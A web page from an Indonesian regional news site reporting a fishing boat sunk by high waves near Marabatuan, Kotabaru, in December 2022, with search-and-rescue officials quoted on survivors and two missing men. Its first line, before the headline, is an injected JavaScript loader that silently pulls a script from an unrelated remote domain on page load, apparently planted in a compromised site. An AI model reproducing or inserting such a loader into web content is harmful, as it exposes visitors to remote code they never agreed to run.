(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kapal Nelayan Dihantam Ombak Besar di Perairan Marabatuan Kotabaru, Dua Orang Belum Ditemukan


KANALKALIMANTAN.COM, KOTABARU – Cuaca buruk disertai angin kencang dan gelombang yang besar itu, membuat kapal nelayan yang sedang mencari ikan pada jumat (23/12/2022) sekitar pukul 10.00 Wita dikabarkan terbalik dihantam gelombang tinggi hingga akhirnya tenggelam.

Akibatnya lima orang nelayan POB atau Person On Board yang berlayar di daerah perairan Marabatuan, Kecamatan Pulau Sembilan, Kabupaten Kotabaru, Provinsi Kalimantan Selatan, menjadi korban cuaca ekstrim.

Lima nelayan itu, dua orang di antaranya yaitu Arsyad (25) dan Aidil (25) berhasil diselamatkan, namun tiga orang nelayan lainnya dinyatakan hilang lantaran hanyut terbawa ombak besar.

“Gelombang tinggi disertai angin kencang mengakibatkan kapal nelayan terisi air dan mengalami kemiringan hingga akhirnya tenggelam, untuk informasi sebelumnya adalah 2 orang nelayan berhasil selamat dan 3 orang nelayan hilang,” ungkap Al Amrad S,Sos, Kepala Kantor Pencarian dan Pertolongan Banjarmasin, Sabtu (24/12/2022).

 

Baca juga  : PERHATIAN! Ada 4 Traffic Light di Bundaran Km 17 Gambut

Kantor Pencarian dan Pertolongan Banjarmasin pun mendapatkan informasi pada Sabtu (24/12/2022) pukul 08.05 Wita dari keluarga korban. Tim SAR pun langsung diberangkatkan melaju ke lokasi perairan, sekitar pukul 08.30 Wita.

Kemudian pukul 12.07 Wita, Tim Rescue Pos SAR Kotabaru berhasil menemukan satu orang nelayan atas nama Dian (36) yang merupakan juragan kapal tersebut. Dian ditemukan dalam keadaan selamat di atas kapal tongkang yang kandas.

“Satu orang korban berhasil ditemukan dalam keadaan selamat, korban berenang dan naik di tongkang yang kandas dan berada di sekitar Tanjung Selayar,” jelas Adi Maulana, Koordinator Pos SAR Kotabaru yang ikut dalam pencarian.

Pada saat proses evakuasi, korban langsung diselamatkan menggunakan ring buoy yang didekatkan kepada korban, sehingga korban dapat langsung melompat untuk dievakuasi.

Baca juga  : Guntung Manggis Jadi “Kelurahan Bersinar”, Upaya Memutus Penyebaran Rantai Narkoba

Ditambahkan Kepala Kantor Pencarian dan Pertolongan Banjarmasin Al Amrad, tersisa dua orang nelayan yang masih belum berhasil di temukan. Yanni Acing (40) dan Mansyah (40).

“Untuk korban selamat langsung kita evakuasi menuju Posko SAR Gabungan yang berada di Pos Polairud di Tanjung Selayar bersama 2 orang korban selamat lainnya. Kami akan lanjutkan pencarian 2 orang korban yang masih belum ditemukan, kami harap semua dapat kita temukan dalam keadaan selamat,” pungkas Al Amrad. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.